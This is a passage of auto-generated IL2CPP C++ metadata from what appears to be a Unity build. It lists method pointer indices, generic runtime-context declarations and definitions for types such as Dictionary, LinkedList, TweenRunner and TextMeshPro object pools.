10295,
10295,
10068,
10051,
9910,
8657,
8657,
6979,
6979,
6979,
6979,
6979,
644,
551,
6979,
5521,
6979,
6887,
6845,
6979,
6845,
6845,
5554,
6765,
5475,
6845,
5554,
6845,
5554,
6845,
5554,
6979,
6845,
6979,
3937,
3937,
3964,
8054,
8054,
8054,
8054,
8054,
8054,
6979,
6979,
6979,
6979,
6979,
10295,
6979,
3964,
3964,
6845,
5554,
6811,
6979,
2907,
1738,
2880,
6979,
630,
321,
10259,
6845,
5554,
6811,
5521,
6845,
6845,
6845,
6845,
1800,
6979,
6845,
6979,
4304,
4312,
6979,
6979,
6979,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6887,
5594,
6893,
5599,
6845,
6845,
6845,
5554,
6845,
9066,
6979,
6979,
6979,
6979,
4312,
4312,
6845,
5554,
6893,
3237,
6979,
6979,
6979,
6979,
6845,
5554,
6845,
5554,
6845,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
6887,
5594,
6893,
5599,
6845,
5554,
6845,
9066,
6979,
6979,
6979,
6979,
4312,
6893,
5058,
3237,
6979,
6979,
6979,
6979,
6979,
6845,
3231,
6979,
5521,
6979,
6979,
6979,
6845,
4312,
4312,
6845,
5554,
6979,
0,
0,
0,
6845,
5554,
6845,
5554,
6887,
5594,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6845,
5554,
6741,
5448,
6893,
5599,
6887,
5594,
6975,
5674,
6845,
5554,
6845,
5554,
6887,
5594,
6845,
5554,
6845,
5554,
6887,
5594,
6742,
5449,
6742,
5449,
6893,
5599,
6893,
5599,
6811,
5521,
6893,
6887,
5594,
6893,
5599,
6893,
5599,
6811,
5521,
6887,
6811,
5521,
6811,
5521,
6811,
5521,
6893,
5599,
6893,
5599,
6893,
5599,
6893,
5599,
6893,
5599,
6893,
5599,
6887,
5594,
6893,
5599,
6811,
5521,
6887,
6811,
6845,
5554,
6887,
6887,
5594,
6887,
5594,
6887,
5594,
6887,
5594,
6887,
5594,
6887,
5594,
6887,
5594,
6887,
5594,
6811,
5521,
6811,
5521,
6893,
5599,
6811,
5521,
6811,
5521,
6887,
5594,
6887,
5594,
6811,
5521,
6811,
5521,
6811,
5521,
6811,
5521,
6887,
5594,
6811,
5521,
6971,
5670,
6845,
6887,
5594,
6887,
5594,
6845,
6845,
6887,
5594,
6845,
6887,
5594,
6739,
6739,
10068,
10068,
10068,
10068,
5554,
5554,
6845,
6893,
6893,
6893,
6893,
6893,
6893,
6845,
6893,
6893,
6893,
6893,
6811,
6979,
5554,
4312,
5554,
6845,
5554,
4312,
4312,
5554,
5521,
5554,
5449,
5449,
5599,
6979,
6979,
6979,
6893,
5058,
6845,
3237,
3193,
5521,
6979,
5554,
6979,
1188,
1839,
1188,
1839,
6979,
5554,
1777,
1777,
1777,
6979,
5554,
3203,
3204,
1815,
1318,
708,
377,
222,
128,
58,
5554,
1777,
5554,
1777,
5554,
1777,
4304,
598,
598,
1174,
1174,
1136,
2623,
2015,
2138,
1392,
1392,
0,
0,
1355,
1685,
6845,
3964,
6968,
2590,
5150,
1638,
6893,
5062,
6893,
5062,
6968,
5152,
6893,
5059,
6893,
5059,
1160,
6739,
6869,
6739,
3580,
1732,
5521,
4312,
6979,
21,
1671,
3888,
1838,
5449,
2880,
1731,
2880,
132,
1366,
6979,
5554,
5554,
5554,
1266,
4304,
550,
5594,
6979,
6979,
5594,
6845,
4758,
5554,
1640,
2577,
6979,
3936,
2015,
2015,
2015,
2015,
2138,
2015,
2015,
2015,
2015,
2138,
1895,
1378,
907,
1627,
1158,
1582,
6979,
10295,
2880,
3193,
6811,
6811,
5521,
3937,
2880,
5521,
5521,
10295,
6979,
5554,
6887,
6811,
5521,
6845,
5554,
6845,
5554,
6811,
5521,
6893,
5599,
6979,
6979,
6979,
5521,
5554,
6979,
6979,
5594,
6979,
5594,
5554,
6979,
6979,
6845,
0,
0,
10295,
10295,
10259,
9731,
9731,
9705,
9705,
9727,
9727,
9907,
9907,
8947,
6979,
6979,
4726,
4726,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
2880,
8406,
7936,
8406,
7590,
8621,
7937,
7937,
8406,
8406,
8406,
8406,
8406,
7709,
8147,
8160,
8660,
9705,
9705,
9727,
9731,
9731,
9731,
9726,
9731,
10295,
3274,
10259,
6979,
10068,
5554,
10068,
5554,
10068,
5554,
10068,
5554,
6979,
6979,
10068,
10068,
5554,
5554,
5554,
10295,
10259,
6979,
10068,
4758,
10068,
4758,
6979,
6979,
10068,
5554,
5554,
6979,
6845,
6845,
6979,
};
static const Il2CppTokenRangePair s_rgctxIndices[19] =
{
{ 0x02000003, { 0, 16 } },
{ 0x02000004, { 16, 16 } },
{ 0x02000005, { 32, 16 } },
{ 0x02000030, { 52, 7 } },
{ 0x02000031, { 59, 5 } },
{ 0x02000064, { 79, 9 } },
{ 0x02000065, { 88, 5 } },
{ 0x0200006F, { 93, 13 } },
{ 0x0200009E, { 110, 3 } },
{ 0x06000104, { 48, 4 } },
{ 0x060001A0, { 64, 3 } },
{ 0x06000228, { 67, 5 } },
{ 0x06000381, { 72, 3 } },
{ 0x06000382, { 75, 2 } },
{ 0x06000383, { 77, 2 } },
{ 0x06000584, { 106, 1 } },
{ 0x06000585, { 107, 1 } },
{ 0x060005F4, { 108, 1 } },
{ 0x060005F5, { 109, 1 } },
};
extern const uint32_t g_rgctx_Dictionary_2_t4EE4307FCD1BA3B2B480FC41AAEDE2A077BD704F;
extern const uint32_t g_rgctx_Dictionary_2_ContainsKey_mB98AAFBA532EF90E4C6EF2378FFFC63EFFD282D9;
extern const uint32_t g_rgctx_LinkedList_1_tD3C0084872187FB26CDCBAB1C08E1C89332356F5;
extern const uint32_t g_rgctx_LinkedList_1_AddLast_mCD2D801E606774CA0EFB7038C0BE5E4F58EEF923;
extern const uint32_t g_rgctx_Dictionary_2_set_Item_m7E55B45DFE0C25D3AE51EF1D155C127EA5143443;
extern const uint32_t g_rgctx_Dictionary_2_TryGetValue_m20ADC96EC8AD035F9492F65D222BE4F6471CA1FB;
extern const uint32_t g_rgctx_Dictionary_2_Remove_mB023D9E41771B0944C46F42E5C9DBC1BB235ABE7;
extern const uint32_t g_rgctx_LinkedList_1_Remove_m11013776D73C2A5CC49D33FB3AADF3FFFE1BE350;
extern const uint32_t g_rgctx_LinkedList_1_get_First_mDCB5EFC35BE263A2B84AB8C91028B145EB358C42;
extern const uint32_t g_rgctx_LinkedListNode_1_t9E16F0F8E4795EAF61E53880448662A9A0D1C358;
extern const uint32_t g_rgctx_LinkedListNode_1_get_Value_mD907671EBEB39CFF127F77770E8C0402AA46E8AF;
extern const uint32_t g_rgctx_Action_1_t319B30C0C250095179CB0186D8274BD28256964E;
extern const uint32_t g_rgctx_Action_1_Invoke_m33D1FAAF394F6D64944E08E3861083D515DA4F9D;
extern const uint32_t g_rgctx_LinkedListNode_1_get_Next_mCDAF8AD94C1EC12E16E064A2CAAB5F8793213BCA;
extern const uint32_t g_rgctx_LinkedList_1__ctor_m03A9F18A6E8D64352FEB3B2408C03855B0693A0B;
extern const uint32_t g_rgctx_Dictionary_2__ctor_m4611C017EF33B9BED0FEE0187EFC029B80C87E93;
extern const uint32_t g_rgctx_Dictionary_2_t6A29222450E394E5E78C6F662CF6A00442634F2B;
extern const uint32_t g_rgctx_Dictionary_2_ContainsKey_m5211AC8C69E23A637C61ECEB61581CA6C67DB30A;
extern const uint32_t g_rgctx_LinkedList_1_tE2965BDEA37AB803F97A5EE1A63A06A1B15D420B;
extern const uint32_t g_rgctx_LinkedList_1_AddLast_mD9C31455BD9174A5F3666359E95FF40E7CA7FD04;
extern const uint32_t g_rgctx_Dictionary_2_set_Item_mCFAD04902D52254697D3EC7ACAFE3AACC344984B;
extern const uint32_t g_rgctx_Dictionary_2_TryGetValue_mEA7B3AD162432AEFC6427BB43C54BEDD3F7023DB;
extern const uint32_t g_rgctx_Dictionary_2_Remove_mB3983603B0C49F9C899EF9075C1D3126A8B665CE;
extern const uint32_t g_rgctx_LinkedList_1_Remove_m5838916B61DBC0CB676DDDBF78AF59D2DD66EFBC;
extern const uint32_t g_rgctx_LinkedList_1_get_First_m622A5ADA953CF53B514121DBB0272BB907465830;
extern const uint32_t g_rgctx_LinkedListNode_1_tE2481539BBC4D2CCF23C06DDB4237ED2871F5BCE;
extern const uint32_t g_rgctx_LinkedListNode_1_get_Value_mDCF4495862BA5700619602FE2B667428FBBCBB67;
extern const uint32_t g_rgctx_Action_2_tF7AA36EB258601432BAA09A7EC0C3B9433680F32;
extern const uint32_t g_rgctx_Action_2_Invoke_m969D599195458C3D42C44CAE648E93DFBB840700;
extern const uint32_t g_rgctx_LinkedListNode_1_get_Next_mBE08B2606CA3CE0A9C431B30408F8B7DFC6F98DA;
extern const uint32_t g_rgctx_LinkedList_1__ctor_mD7D348E01C3417944450E7EC71873B8DF4F333BA;
extern const uint32_t g_rgctx_Dictionary_2__ctor_m9FB379D651E11015D5084B7B241FF22C916605AD;
extern const uint32_t g_rgctx_Dictionary_2_t0E0EF2BD480BBE4ADF02DE87BCFA7952D6194AEC;
extern const uint32_t g_rgctx_Dictionary_2_ContainsKey_mC0830A5AC6EBDC63438E2ECBA960B168161A1E64;
extern const uint32_t g_rgctx_LinkedList_1_tD5EB0A2EC43659017ECD044ED25CDC8416A8E576;
extern const uint32_t g_rgctx_LinkedList_1_AddLast_m1E7F7BF8823EB77DAF9B508AA73DE40A2CB8D580;
extern const uint32_t g_rgctx_Dictionary_2_set_Item_mF7AB370F40372FD2A8EC604B294E0E7B76728BB5;
extern const uint32_t g_rgctx_Dictionary_2_TryGetValue_m73F6CA6096DE6C75CE432F5EAE5585D7FD68D5F3;
extern const uint32_t g_rgctx_Dictionary_2_Remove_m032C3115B5E563981DF48C86D7179F7748EDE1DA;
extern const uint32_t g_rgctx_LinkedList_1_Remove_m51CBEB7E17A80339EF51857850A2FE8D26979390;
extern const uint32_t g_rgctx_LinkedList_1_get_First_mDC826306A3817126B30BF139CA45A609D950504E;
extern const uint32_t g_rgctx_LinkedListNode_1_t562CBF84923A8339119513BE8764C77E17342358;
extern const uint32_t g_rgctx_LinkedListNode_1_get_Value_mD23B10DF1D9F9C92807E12DF00AA4BEF699FD183;
extern const uint32_t g_rgctx_Action_3_tE5FA610F8E6BCB0CD7AE5A99F72941C62B71B2E0;
extern const uint32_t g_rgctx_Action_3_Invoke_m54EB748BE3A859AE46997A34B9A76F853043BFE6;
extern const uint32_t g_rgctx_LinkedListNode_1_get_Next_m1F44123CF6F382E48A90522E6C61A44A7033AAC3;
extern const uint32_t g_rgctx_LinkedList_1__ctor_mABC63C63E89EDCC06EEF053E5C6C6A412439201D;
extern const uint32_t g_rgctx_Dictionary_2__ctor_m6CB1E516765BBA29D4EFAB193D86E99C98DCBEF4;
extern const uint32_t g_rgctx_T_t97ED60148C187DA752EC2864B8CDDF29C68B03FE;
extern const uint32_t g_rgctx_List_1_t5CFEE1509C41241F0EA4B86C7A4B7F5CDD8CBAE9;
extern const uint32_t g_rgctx_List_1_get_Item_mA8234F260E0B424E9E7E94B4B9E4AD4E89718BC4;
extern const uint32_t g_rgctx_List_1_get_Count_m6B5CC8989F78218A02FE5A93782868E3AC3930F7;
extern const uint32_t g_rgctx_U3CStartU3Ed__2_tC463ECB31906D102EE6C5B019CAE102F837DC6C1;
extern const uint32_t g_rgctx_U3CStartU3Ed__2__ctor_m8AA498864DB541733DE649A8AB88FAD14D97C6EF;
extern const uint32_t g_rgctx_TweenRunner_1_StopTween_m4629C6650DA1109844EF11D623DFDF735BBE8381;
extern const uint32_t g_rgctx_T_tF89D3C06555F6DCA35317A31A8C999F9341C1008;
extern const Il2CppRGCTXConstrainedData g_rgctx_T_tF89D3C06555F6DCA35317A31A8C999F9341C1008_ITweenValue_TweenValue_m46989B9AE4EDC4C4CDE0D87C65EA39B15408F552;
extern const uint32_t g_rgctx_TweenRunner_1_Start_mBE5D86F868A0D30C7D5724B0A9DF4B3096DE28A1;
extern const uint32_t g_rgctx_TweenRunner_1_t0F39FE120F257C2F368F5167860C56C0924DF79F;
extern const uint32_t g_rgctx_T_t54069A3F07DB8743A6CDBD1A84066E0D88DABCC4;
extern const Il2CppRGCTXConstrainedData g_rgctx_T_t54069A3F07DB8743A6CDBD1A84066E0D88DABCC4_ITweenValue_ValidTarget_mE3AFBC4BBAD2D9F58F9BA79DAD0B2972F66A44A9;
extern const Il2CppRGCTXConstrainedData g_rgctx_T_t54069A3F07DB8743A6CDBD1A84066E0D88DABCC4_ITweenValue_get_ignoreTimeScale_m7C770C3C5E0C6AE2C1E8FD30D612CCA675B8C7F0;
extern const Il2CppRGCTXConstrainedData g_rgctx_T_t54069A3F07DB8743A6CDBD1A84066E0D88DABCC4_ITweenValue_get_duration_m28B0CBE0A1944B381A04C00B784C6123A36C37F6;
extern const Il2CppRGCTXConstrainedData g_rgctx_T_t54069A3F07DB8743A6CDBD1A84066E0D88DABCC4_ITweenValue_TweenValue_m46989B9AE4EDC4C4CDE0D87C65EA39B15408F552;
extern const uint32_t g_rgctx_GameObject_GetComponent_TisT_t1CDEE67E0509AF03A332718973A9FF18ED9D5A42_mF0EB7F85A273AD3C0B36D7415BAD52E0F6208438;
extern const uint32_t g_rgctx_T_t1CDEE67E0509AF03A332718973A9FF18ED9D5A42;
extern const uint32_t g_rgctx_GameObject_AddComponent_TisT_t1CDEE67E0509AF03A332718973A9FF18ED9D5A42_m59B88C77227130EB32B560C9BDDAD0C0DF38ADC5;
extern const uint32_t g_rgctx_List_1_tB247115334146A257ABD4D8A3D79BAEA603546DE;
extern const uint32_t g_rgctx_List_1_get_Count_m97DF00C7C6C0143410EEF396399A1D6A908BC346;
extern const uint32_t g_rgctx_TU5BU5D_tB5543F2D5F1EC280218C8C8E7ADA41263E62F812;
extern const uint32_t g_rgctx_Array_Resize_TisT_t9D971C63AFD846E94332C10528EC85114CD902BF_m7322F8A336A21B307C8A9A8D9D278820C23030B8;
extern const uint32_t g_rgctx_List_1_get_Item_m41E61CAFD24899199C0557CE631A4DFDD2D57A9B;
extern const uint32_t g_rgctx_T_t8FCD18676B82D793DC8A2271E91F9EAB6C687F6E;
extern const uint32_t g_rgctx_IEquatable_1_tD6F335D096DFA96D4064803D583F616A2AEBDA14;
extern const Il2CppRGCTXConstrainedData g_rgctx_T_t8FCD18676B82D793DC8A2271E91F9EAB6C687F6E_IEquatable_1_Equals_mED01B3ADA33604175CE4EEB55BB6C447E52C2F97;
extern const uint32_t g_rgctx_T_t8ECBA28E38C0BADD7C1E53C6815A58E2550FFCD4;
extern const Il2CppRGCTXConstrainedData g_rgctx_T_t8ECBA28E38C0BADD7C1E53C6815A58E2550FFCD4_Object_Equals_m07105C4585D3FE204F2A80D58523D001DC43F63B;
extern const uint32_t g_rgctx_T_t25255FB169DADFF149FFBE14C8883D431B113A5C;
extern const Il2CppRGCTXConstrainedData g_rgctx_T_t25255FB169DADFF149FFBE14C8883D431B113A5C_Object_Equals_m07105C4585D3FE204F2A80D58523D001DC43F63B;
extern const uint32_t g_rgctx_TMP_ListPool_1_t196C19EA606371960DEE3DBA14C6931363886000;
extern const uint32_t g_rgctx_TMP_ObjectPool_1_t8A1162899D3A229419EC3BF9001A9353E803D251;
extern const uint32_t g_rgctx_TMP_ObjectPool_1_Get_mBBFF4746AA1057CA9CF5D26A403FE433EAF74F82;
extern const uint32_t g_rgctx_TMP_ObjectPool_1_Release_m1BFEF60D7D335DC7957DFA2B62500267D0046054;
extern const uint32_t g_rgctx_U3CU3Ec_tD5287145DB1083FA58D1DE73E6759168650C2F69;
extern const uint32_t g_rgctx_U3CU3Ec_U3C_cctorU3Eb__3_0_m79AA95AFC19F26FDD9D3908A612B409ABCB78D4B;
extern const uint32_t g_rgctx_UnityAction_1_tCD07B30FDCF4B3342FE374DFC21A60BAF6C9A188;
extern const uint32_t g_rgctx_UnityAction_1__ctor_m709A080DA4D1E6A960F369648A0E9E1E711D680C;
extern const uint32_t g_rgctx_TMP_ObjectPool_1__ctor_mAC48BF6FFC894645E8278FF2A0E2757D0372706F;
extern const uint32_t g_rgctx_U3CU3Ec_t1EFE905FD91B5D31E484ECA3DE6ECC81903F86CA;
extern const uint32_t g_rgctx_U3CU3Ec__ctor_m6581346FF03C23CC25187B84427A34896185647F;
extern const uint32_t g_rgctx_U3CU3Ec_t1EFE905FD91B5D31E484ECA3DE6ECC81903F86CA;
extern const uint32_t g_rgctx_List_1_t551E0227199E54FC2269D739FD5831C7CACBD00D;
extern const uint32_t g_rgctx_List_1_Clear_m3E6FA896DF8B70FF22086C8DB9E282E4D1FC71B0;
extern const uint32_t g_rgctx_TMP_ObjectPool_1_get_countAll_m82B2AB6D4283D3559574BA451C223C47CE884F1C;
extern const uint32_t g_rgctx_TMP_ObjectPool_1_get_countInactive_mB9E058F83EAF2056F60373FD4604D6FC2F9FDA09;
extern const uint32_t g_rgctx_Stack_1_tBB18BE9AAB150218001606CC5163F90787B0B6FB;
extern const uint32_t g_rgctx_Stack_1_get_Count_mDB9B62940BA3CBBB6A65815689C036E8B37BD6A7;
extern const uint32_t g_rgctx_Stack_1__ctor_mE640592B3F050E7D91F65DBF22A3C640E5F5E7DE;
extern const uint32_t g_rgctx_Activator_CreateInstance_TisT_tCEF5C270075F4A7393B4776EB8CF788092CE92B8_m5CD41261847D6AC69103C09C8372BCA075C04EA1;
extern const uint32_t g_rgctx_TMP_ObjectPool_1_set_countAll_mCDD60A520286E35F95D7003A1E184E7C86E95C03;
extern const uint32_t g_rgctx_Stack_1_Pop_mF09DF2B2E1B0429ADD3EAF45878B8A52A8059658;
extern const uint32_t g_rgctx_UnityAction_1_tE6AC6EB5FAC186761A9E8AD94FE570756E1941B0;
extern const uint32_t g_rgctx_UnityAction_1_Invoke_m5909A5EDD00EE1D8DC182D01E3B454761DD638B5;
extern const uint32_t g_rgctx_Stack_1_Peek_m767628FEA16A6A791A8196C09538E21A1A022403;
extern const uint32_t g_rgctx_T_tCEF5C270075F4A7393B4776EB8CF788092CE92B8;
extern const uint32_t g_rgctx_Stack_1_Push_mED3FC8406CC8AC8BFAA97A0F77DC38A0B24A772E;
extern const uint32_t g_rgctx_Array_Resize_TisT_t14D3FEDE62BEDF67A86FD7A678B129F9785ED1CB_mF6C7057AA70A27626479285F3726670242722AA4;
extern const uint32_t g_rgctx_Array_Resize_TisT_t89279E86F7FA201C826BE6B68E22F7D19A0E08D0_mA3BD1725DD8BB00FBF88EC8E8734614345115254;
extern const uint32_t g_rgctx_Array_Resize_TisT_t7319F20472169540EAF35BC4A8FC343DFECC673E_m08097F3C073A9ADF6C0964318CA4F8F440476E16;
extern const uint32_t g_rgctx_Array_Resize_TisT_tD5147DF4249041E83A18A47AD833785A54303B24_mC37AD89AC3F6D435C25979D14E967652F23C1DC8;
extern const uint32_t g_rgctx_TU5BU5D_tEB79EEC73DB04B187E4E0F0B7A64A71ECD34A982;
extern const uint32_t g_rgctx_TMP_TextProcessingStack_1_SetDefault_mFF9116F731F3C1FE35E62013579CDBA5BB6C0C98;
extern const uint32_t g_rgctx_Array_Resize_TisT_tEFDB8B1520E48ED22D3DA45F0204F72A29C2E246_m65C14249FA275D747D474DA0A85D5BF0E7EAB85B;
static const Il2CppRGCTXDefinition s_rgctxValues[113] =
{
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_Dictionary_2_t4EE4307FCD1BA3B2B480FC41AAEDE2A077BD704F },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2_ContainsKey_mB98AAFBA532EF90E4C6EF2378FFFC63EFFD282D9 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_LinkedList_1_tD3C0084872187FB26CDCBAB1C08E1C89332356F5 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedList_1_AddLast_mCD2D801E606774CA0EFB7038C0BE5E4F58EEF923 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2_set_Item_m7E55B45DFE0C25D3AE51EF1D155C127EA5143443 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2_TryGetValue_m20ADC96EC8AD035F9492F65D222BE4F6471CA1FB },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2_Remove_mB023D9E41771B0944C46F42E5C9DBC1BB235ABE7 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedList_1_Remove_m11013776D73C2A5CC49D33FB3AADF3FFFE1BE350 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedList_1_get_First_mDCB5EFC35BE263A2B84AB8C91028B145EB358C42 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_LinkedListNode_1_t9E16F0F8E4795EAF61E53880448662A9A0D1C358 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedListNode_1_get_Value_mD907671EBEB39CFF127F77770E8C0402AA46E8AF },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_Action_1_t319B30C0C250095179CB0186D8274BD28256964E },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Action_1_Invoke_m33D1FAAF394F6D64944E08E3861083D515DA4F9D },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedListNode_1_get_Next_mCDAF8AD94C1EC12E16E064A2CAAB5F8793213BCA },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedList_1__ctor_m03A9F18A6E8D64352FEB3B2408C03855B0693A0B },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2__ctor_m4611C017EF33B9BED0FEE0187EFC029B80C87E93 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_Dictionary_2_t6A29222450E394E5E78C6F662CF6A00442634F2B },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2_ContainsKey_m5211AC8C69E23A637C61ECEB61581CA6C67DB30A },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_LinkedList_1_tE2965BDEA37AB803F97A5EE1A63A06A1B15D420B },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedList_1_AddLast_mD9C31455BD9174A5F3666359E95FF40E7CA7FD04 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2_set_Item_mCFAD04902D52254697D3EC7ACAFE3AACC344984B },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2_TryGetValue_mEA7B3AD162432AEFC6427BB43C54BEDD3F7023DB },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2_Remove_mB3983603B0C49F9C899EF9075C1D3126A8B665CE },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedList_1_Remove_m5838916B61DBC0CB676DDDBF78AF59D2DD66EFBC },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedList_1_get_First_m622A5ADA953CF53B514121DBB0272BB907465830 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_LinkedListNode_1_tE2481539BBC4D2CCF23C06DDB4237ED2871F5BCE },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedListNode_1_get_Value_mDCF4495862BA5700619602FE2B667428FBBCBB67 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_Action_2_tF7AA36EB258601432BAA09A7EC0C3B9433680F32 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Action_2_Invoke_m969D599195458C3D42C44CAE648E93DFBB840700 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedListNode_1_get_Next_mBE08B2606CA3CE0A9C431B30408F8B7DFC6F98DA },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedList_1__ctor_mD7D348E01C3417944450E7EC71873B8DF4F333BA },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2__ctor_m9FB379D651E11015D5084B7B241FF22C916605AD },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_Dictionary_2_t0E0EF2BD480BBE4ADF02DE87BCFA7952D6194AEC },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2_ContainsKey_mC0830A5AC6EBDC63438E2ECBA960B168161A1E64 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_LinkedList_1_tD5EB0A2EC43659017ECD044ED25CDC8416A8E576 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedList_1_AddLast_m1E7F7BF8823EB77DAF9B508AA73DE40A2CB8D580 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2_set_Item_mF7AB370F40372FD2A8EC604B294E0E7B76728BB5 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2_TryGetValue_m73F6CA6096DE6C75CE432F5EAE5585D7FD68D5F3 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2_Remove_m032C3115B5E563981DF48C86D7179F7748EDE1DA },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedList_1_Remove_m51CBEB7E17A80339EF51857850A2FE8D26979390 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedList_1_get_First_mDC826306A3817126B30BF139CA45A609D950504E },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_LinkedListNode_1_t562CBF84923A8339119513BE8764C77E17342358 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedListNode_1_get_Value_mD23B10DF1D9F9C92807E12DF00AA4BEF699FD183 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_Action_3_tE5FA610F8E6BCB0CD7AE5A99F72941C62B71B2E0 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Action_3_Invoke_m54EB748BE3A859AE46997A34B9A76F853043BFE6 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedListNode_1_get_Next_m1F44123CF6F382E48A90522E6C61A44A7033AAC3 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_LinkedList_1__ctor_mABC63C63E89EDCC06EEF053E5C6C6A412439201D },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_Dictionary_2__ctor_m6CB1E516765BBA29D4EFAB193D86E99C98DCBEF4 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_T_t97ED60148C187DA752EC2864B8CDDF29C68B03FE },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_List_1_t5CFEE1509C41241F0EA4B86C7A4B7F5CDD8CBAE9 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_List_1_get_Item_mA8234F260E0B424E9E7E94B4B9E4AD4E89718BC4 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_List_1_get_Count_m6B5CC8989F78218A02FE5A93782868E3AC3930F7 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_U3CStartU3Ed__2_tC463ECB31906D102EE6C5B019CAE102F837DC6C1 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_U3CStartU3Ed__2__ctor_m8AA498864DB541733DE649A8AB88FAD14D97C6EF },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_TweenRunner_1_StopTween_m4629C6650DA1109844EF11D623DFDF735BBE8381 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_T_tF89D3C06555F6DCA35317A31A8C999F9341C1008 },
{ (Il2CppRGCTXDataType)5, (const void *)&g_rgctx_T_tF89D3C06555F6DCA35317A31A8C999F9341C1008_ITweenValue_TweenValue_m46989B9AE4EDC4C4CDE0D87C65EA39B15408F552 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_TweenRunner_1_Start_mBE5D86F868A0D30C7D5724B0A9DF4B3096DE28A1 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_TweenRunner_1_t0F39FE120F257C2F368F5167860C56C0924DF79F },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_T_t54069A3F07DB8743A6CDBD1A84066E0D88DABCC4 },
{ (Il2CppRGCTXDataType)5, (const void *)&g_rgctx_T_t54069A3F07DB8743A6CDBD1A84066E0D88DABCC4_ITweenValue_ValidTarget_mE3AFBC4BBAD2D9F58F9BA79DAD0B2972F66A44A9 },
{ (Il2CppRGCTXDataType)5, (const void *)&g_rgctx_T_t54069A3F07DB8743A6CDBD1A84066E0D88DABCC4_ITweenValue_get_ignoreTimeScale_m7C770C3C5E0C6AE2C1E8FD30D612CCA675B8C7F0 },
{ (Il2CppRGCTXDataType)5, (const void *)&g_rgctx_T_t54069A3F07DB8743A6CDBD1A84066E0D88DABCC4_ITweenValue_get_duration_m28B0CBE0A1944B381A04C00B784C6123A36C37F6 },
{ (Il2CppRGCTXDataType)5, (const void *)&g_rgctx_T_t54069A3F07DB8743A6CDBD1A84066E0D88DABCC4_ITweenValue_TweenValue_m46989B9AE4EDC4C4CDE0D87C65EA39B15408F552 },
{ (Il2CppRGCTXDataType)3, (const void *)&g_rgctx_GameObject_GetComponent_TisT_t1CDEE67E0509AF03A332718973A9FF18ED9D5A42_mF0EB7F85A273AD3C0B36D7415BAD52E0F6208438 },
{ (Il2CppRGCTXDataType)2, (const void *)&g_rgctx_T_t1CDEE67E0509AF03A332718973A9FF18ED9D5A42 },
